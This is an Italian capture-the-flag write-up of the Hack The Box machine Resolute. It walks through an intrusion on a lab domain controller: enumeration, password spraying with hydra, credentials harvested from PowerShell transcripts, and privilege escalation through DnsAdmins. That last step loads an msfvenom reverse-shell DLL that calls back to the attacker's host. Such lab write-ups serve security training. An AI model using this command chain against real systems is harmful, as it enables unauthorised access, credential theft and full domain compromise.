NMAP
Eseguo una scansione nmap di tutte le porte con il seguente comando:
nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.172
Successivamente lancio una scansione mirata come segue:
nmap -T5 --open -sV -sC -vvv --min-rate=1000 --max-retries=2 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49164,4965,49666,49667,49671,49676,49677,49687,49908 -oA full-ports 10.10.10.169
Ometterò il risultato di questa scansione nmap per consentire una migliore lettura. Dai risultati della scansione risulta essere attivo il servizio kerberos, si tratta quindi di un domain controller.
USER FLAG
Poiché sono attivi servizi ldap, smb, rpc, con l’ausilio di enum4linux è possibile, in questo caso, enumerare alcune informazioni utili relative agli utenti e ai gruppi presenti sulla macchina senza necessità di immettere delle credenziali. Di seguito è riportato un estratto:
Come si vede dall’immagine, nella descrizione dell’utente Marko Novak è presente la password di accesso Welcome123!. Provando ad accedere ai servizi smb e ldap con le credenziali appena scovate purtroppo ricevo un messaggio di errore che mi nega l’accesso. È possibile che la descrizione sia vecchia e l’utente abbia cambiato la password. Per questo motivo decido di testare la password anche con gli altri nome utente trovati, magari è una password che l’admin utilizza durante la creazione di tutti i nuovi account.
hydra -L users.txt -P ‘Welcome123!’ smb://10.10.10.169 -V
L’intuizione è corretta e riesco a identificare con successo le nuove credenziali melanie:Welcome123! A questo punto mi collego alla box utilizzando evil-winrm.
evil-winrm -i 10.10.10.169 -s ps1 -e exe -p Welcome123! -u melanie
PRIVILEGE ESCALATION 1
Dopo aver enumerato senza successo gli ACL dell’utente melanie inizio a cercare file e cartelle interessanti all’interno della macchina.
dir -Force
Il flag -Force su powershell permette di visualizzare anche i file nascosti.
La cartella PSTranscript attira la mia attenzione, decido di dare un’occhiata:
All’interno del file .txt è presente lo storico di alcuni comandi powershell che sono stati lanciati sulla macchina, in alcuni comandi sono presenti anche delle credenziali nuove ryan:Serv3r4Admin4cc123!:
ROOT FLAG
Accedo con le nuove credenziali sempre con l’ausilio di evil-winrm ed enumero un po’ l’utenza corrente:
whoami /all
Quello che attira la mia attenzione è che l’utente in questione fa parte del gruppo “DnsAdmins”.
Facendo parte del gruppo DnsAdmins si ha la possibilità di caricare una DLL con privilegi elevati all’interno del server DNS.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.103 LPORT=80 –platform=windows -f dll > ./plugin.dll
A questo punto ho condiviso uno share sulla mia macchina kali in modo da poter caricare la dll sulla box resolute.
smbserver.py fava . -smb2support
Successivamente è bastato caricare la DLL contenente la reverse shell in questo modo:
dnscmd.exe resolute.megabank.local /config /serverlevelplugindll \\10.10.14.103\plugin.dll
E infine riavviare il server DNS per ottenere la shell.
sc.exe resolute.megabank.local stop dns
sc.exe resolute.megabank.local start dns